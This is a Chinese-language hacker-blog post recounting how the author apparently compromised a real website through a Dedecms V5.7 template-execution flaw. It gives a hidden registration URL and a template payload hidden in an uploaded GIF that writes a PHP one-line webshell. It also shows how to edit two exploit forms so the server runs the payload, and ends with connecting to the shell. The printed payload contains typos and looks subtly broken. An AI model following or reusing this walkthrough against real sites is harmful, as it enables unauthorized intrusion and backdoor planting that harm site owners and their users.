记一次学习用Dedecms模板执行漏洞拿站的过程-黑客博客

这几天在拿一个站的shell,经过前期的信息收集,发现网站用的是Dedecms,把常用的几个以前Dedecms出的漏洞测试了一遍,都没成功。在翻收集的漏洞资料时看到了“Dedecms<=V5.7 Final模板执行漏洞”这个漏洞,记得这个漏洞是今年夏天出的,由于漏洞利用过程比较麻烦,当时没耐心测试就放在电脑里没动。一看漏洞居然不会利用,好在在某论坛找到了帖子,看了几遍总算会了,照葫芦画瓢,最后如愿拿到网站的shell。虽然不是新漏洞了,但由于漏洞利用比较麻烦,网上介绍的不多,仍然有不少站存在这个漏洞,今天就把这个漏洞以及我拿shell的过程介绍给大家,没什么技术含量,早知道了的朋友和大牛请直接飘过。


一、Dedecms<=V5.7 Final模板执行

漏洞简介

Dedecms<=V5.7 Final模板执行漏洞是别人公布的,下面摘抄部分内容:Dedecms V5.7 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代码的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。由于我对php不懂,只能摘抄别人的漏洞分析了,大家见谅。

二、拿shell的过程

上面说到Dedecms<=V5.7 Final模板执行漏洞利用起来比较麻烦,是因为即使漏洞利用程序别人已经公布了,但你在利用时漏洞利用程序中有很多需要根据具体情况修改的地方,有一个地方没有修改或修改的不对漏洞就不能利用成功。下面来看详细漏洞利用过程。

要利用这个漏洞,首先要注册一个用户。很多网站出于种种原因隐藏了网站首页的注册新用户的链接,我遇到的这个站就是这样,不过这难不倒我,在网站地址后加上/member/index_do.php?fmdo=user&dopost=regnew就来到了注册新用户的页面。

注册一个新个人用户,这里我注册了一个名为weixianmanbu的用户,注册成功后会自动来到会员中心,当然,由于版本的不同,会员中心的界面可能会有所不同。

下面要用到第一个漏洞利用程序,也就是精心构造的模板文件。为了能顺利上传,文件的后缀弄成.gif。别人提供的一个模板文件的范例为:


    {dede:name runphp='yes'}

    $fp=@fopcn("1.php",‘a’);

    @fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."\r\n\r\n?".">\r\n");

    @fclose(Sfp);

    {/dede:name}


代码的作用是生成一个PHP一句话木马,我把它简单修改了一下生成的文件名和一句话木马的连接密码,修改后为


    {dede:name runphp='yes'}

    $fp=@fopcn("x.php",‘a’);

    @fwrite($fp,'<'.'?php',"\r\n\r\n".'cval($_POST{cmd})'."\r\n\r\n?".">\r\n");

    @fclose(Sfp);

    {/dede:name}


为了绕过上传检查,需要在代码前面加上gif89a,但在实际拿shell时,加了gif89a后仍然不让上传,我索性用系统自带的画图程序新建了一个gif文件(一个红色的小长方形),保存为1.gif,然后用记事本打开1.gif,在文件内容最后按回车键重起一行,然后加入代码,代码就不写了,想要的可以来找我要。

保存修改后1.gif已经可以成功上传,而且缩略图也显示正常。

1.gif已经构造完成,该把它传到网站上了。点内容管理中的文章右面的“发表”来发表一篇文章,文章标题随便写,文章隶属的栏目我随便选了一个眼科知识,在“缩略图”的地方通过“浏览”按钮选择精心构造的1.gif上传上去,输入验证码点“提交”按钮,提示文章发表成功,点“更改文章”就来到了页面。右键-->查看源文件,打开当前网页的源文件,一会要用到。

下面该另两个漏洞利用程序出场了,它们都是提交内容用的html文件,是漏洞利用动画里附带的,我这里直接借用了,呵呵。两个html文件的名字分别为1.html和2.html。根据具体情况来修改1.html和2.html,首先来修改1.html。l.html有3个地方需要修改,分别是提交地址、aid和oldurl。用记事本打开1.html,把actiion后面的提交地址中的修改为目标网站的地址,来到刚才打开的网页源代码的文件,Ctrl+F,查找aid,发现刚才发表文章的aid为383。

把1.html文件中的aid对应的value修改为383,网页源代码中oldlitpic的值为/uploads/userup/26/12Y61T15-2928.gif,我只需要userup后面的数字26,把26替换1.html中oldurl值../uploads/userup/2/1.gif中userup后面的数字2。

1.html修改完成,来修改2.html。用记事本打开2.html,2.html需要修改的地方有5处,分别是提交地址、aid、idhash、templet和option,提交地址修改为目标网站的地址,aid和idhash在网页源代码中找到修改为对应的值,templet对应的是网页源代码中oldlitpic的值,还是只需要把2修改为对应的26就行,option对应的是发表的文章隶属的栏目,在网页源代码中查找selected,发现我发表文章的栏目眼科知识的option value='22',把2.html中option的值也修改为22,修改完成的2.html。保存对2.html的修改。

用浏览器打开修改后的1.html,通过“浏览”按钮选择构造的1.gif,点“更改”按钮。

先看到“修改文件成功”再看到“附件不存在”的提示就说明修改成功了。接着用浏览器打开2.html,输入验证码后点“提交”按钮,看到成功更改文章的提示就是提交成功了,点“查看文章”,看到缩略图就说明漏洞利用成功了,已经在plus目录下生成了一句话木马文件x.php。

一句话木马的地址我就不发了,为了不必要的麻烦。我们用lanker一句话PHP后门客户端连接,成功得到了shell。删除刚才发表的文章,至此拿站的目标完成。提权就先不提了,已经快到下午1点了,还没吃午饭呢,吃饭去,哈哈。

posted on 2017-12-27 18:49  黑客博客  阅读(2067)  评论(0编辑  收藏  举报